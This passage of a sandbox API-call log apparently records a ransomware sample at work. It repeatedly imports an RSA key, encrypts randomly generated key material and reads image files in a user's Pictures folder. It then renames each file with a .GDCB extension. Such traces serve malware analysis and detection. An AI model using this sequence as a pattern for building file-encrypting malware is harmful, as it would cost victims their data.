dwFlags=0x0) returned 1 [0141.897] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0141.901] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d700) returned 1 [0141.901] CryptGetKeyParam (in: hKey=0x37d700, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0141.901] CryptEncrypt (in: hKey=0x37d700, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0141.901] GetLastError () returned 0x0 [0141.901] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.901] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0141.905] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d440) returned 1 [0141.905] CryptGetKeyParam (in: hKey=0x37d440, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0141.905] CryptEncrypt (in: hKey=0x37d440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0141.905] GetLastError () returned 0x0 [0141.905] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.905] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\kvL5uOocTiCI S__fRu.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\kvl5uooctici s__fru.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0141.905] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.906] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.906] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0x16e31, lpOverlapped=0x0) returned 1 [0141.915] VirtualAlloc (lpAddress=0x0, dwSize=0x16e40, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.920] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\kvL5uOocTiCI S__fRu.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\kvl5uooctici s__fru.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\kvL5uOocTiCI S__fRu.png.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\kvl5uooctici s__fru.png.gdcb")) returned 1 [0141.921] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0141.923] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.923] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.923] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0141.923] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.923] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0141.924] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.924] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.924] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0141.924] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.924] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0141.928] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d7c0) returned 1 [0141.928] CryptGetKeyParam (in: hKey=0x37d7c0, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0141.928] CryptEncrypt (in: hKey=0x37d7c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0141.928] GetLastError () returned 0x0 [0141.928] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.928] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecfd0) returned 1 [0141.932] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d280) returned 1 [0141.932] CryptGetKeyParam (in: hKey=0x37d280, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0141.932] CryptEncrypt (in: hKey=0x37d280, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0141.932] GetLastError () returned 0x0 [0141.932] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0141.932] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\lmzNuu.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\lmznuu.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0141.933] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.933] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.933] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0x18df7, lpOverlapped=0x0) returned 1 [0141.953] VirtualAlloc (lpAddress=0x0, dwSize=0x18e00, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.959] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\lmzNuu.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\lmznuu.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\lmzNuu.gif.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\lmznuu.gif.gdcb")) returned 1 [0141.960] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0141.961] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.961] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.961] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0141.961] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.961] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0141.962] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.962] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.962] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0141.962] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.962] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ed300) returned 1 [0141.966] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d200) returned 1 [0141.966] CryptGetKeyParam (in: hKey=0x37d200, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0141.966] CryptEncrypt (in: hKey=0x37d200, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0141.966] GetLastError () returned 0x0 [0141.966] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0141.966] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0141.970] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d6c0) returned 1 [0141.970] CryptGetKeyParam (in: hKey=0x37d6c0, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0141.970] CryptEncrypt (in: hKey=0x37d6c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0141.970] GetLastError () returned 0x0 [0141.970] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.970] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\MW5Jvk.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\mw5jvk.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0141.970] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.970] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.970] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0xd228, lpOverlapped=0x0) returned 1 [0141.981] VirtualAlloc (lpAddress=0x0, dwSize=0xd230, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.985] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\MW5Jvk.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\mw5jvk.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\MW5Jvk.gif.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\mw5jvk.gif.gdcb")) returned 1 [0141.986] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ed300) returned 1 [0141.987] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.987] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.987] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0141.987] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0141.987] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ed300) returned 1 [0141.988] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.988] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.988] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0141.988] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0141.989] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0141.992] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d4c0) returned 1 [0141.992] CryptGetKeyParam (in: hKey=0x37d4c0, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0141.992] CryptEncrypt (in: hKey=0x37d4c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0141.992] GetLastError () returned 0x0 [0141.992] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.992] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0141.996] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d100) returned 1 [0141.996] CryptGetKeyParam (in: hKey=0x37d100, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0141.996] CryptEncrypt (in: hKey=0x37d100, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0141.996] GetLastError () returned 0x0 [0141.996] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.996] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\T21W3FSXJ7JpSCXp.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\t21w3fsxj7jpscxp.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0141.997] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.997] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.997] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0x16d41, lpOverlapped=0x0) returned 1 [0142.014] VirtualAlloc (lpAddress=0x0, dwSize=0x16d50, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.020] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\T21W3FSXJ7JpSCXp.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\t21w3fsxj7jpscxp.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\T21W3FSXJ7JpSCXp.gif.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\t21w3fsxj7jpscxp.gif.gdcb")) returned 1 [0142.021] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0142.022] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.022] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.022] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0142.022] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.023] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0142.024] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.024] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.024] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0142.024] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.024] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0142.028] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d240) returned 1 [0142.028] CryptGetKeyParam (in: hKey=0x37d240, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0142.028] CryptEncrypt (in: hKey=0x37d240, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0142.028] GetLastError () returned 0x0 [0142.028] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.028] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0142.032] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d040) returned 1 [0142.032] CryptGetKeyParam (in: hKey=0x37d040, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0142.032] CryptEncrypt (in: hKey=0x37d040, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0142.032] GetLastError () returned 0x0 [0142.032] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.032] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\WjNoxg.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\wjnoxg.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.033] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.033] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.033] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0xa3fa, lpOverlapped=0x0) returned 1 [0142.048] VirtualAlloc (lpAddress=0x0, dwSize=0xa400, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.052] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\WjNoxg.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\wjnoxg.bmp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\WjNoxg.bmp.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\wjnoxg.bmp.gdcb")) returned 1 [0142.053] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0142.054] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.054] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.054] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0142.054] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.054] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0142.055] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.055] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.056] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0142.056] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.056] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecfd0) returned 1 [0142.060] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d080) returned 1 [0142.060] CryptGetKeyParam (in: hKey=0x37d080, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0142.060] CryptEncrypt (in: hKey=0x37d080, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0142.060] GetLastError () returned 0x0 [0142.060] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.060] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecfd0) returned 1 [0142.064] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x37d2c0) returned 1 [0142.064] CryptGetKeyParam (in: hKey=0x37d2c0, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0142.064] CryptEncrypt (in: hKey=0x37d2c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0142.066] GetLastError () returned 0x0 [0142.066] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.066] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\wr XEQqTY.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\wr xeqqty.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.066] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.066] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.066] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0x119bc, lpOverlapped=0x0) returned 1 [0142.078] VirtualAlloc (lpAddress=0x0, dwSize=0x119c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.083] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\wr XEQqTY.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\wr xeqqty.bmp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\tlE6ao_mfe1zAPU\\wr XEQqTY.bmp.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\tle6ao_mfe1zapu\\wr xeqqty.bmp.gdcb")) returned 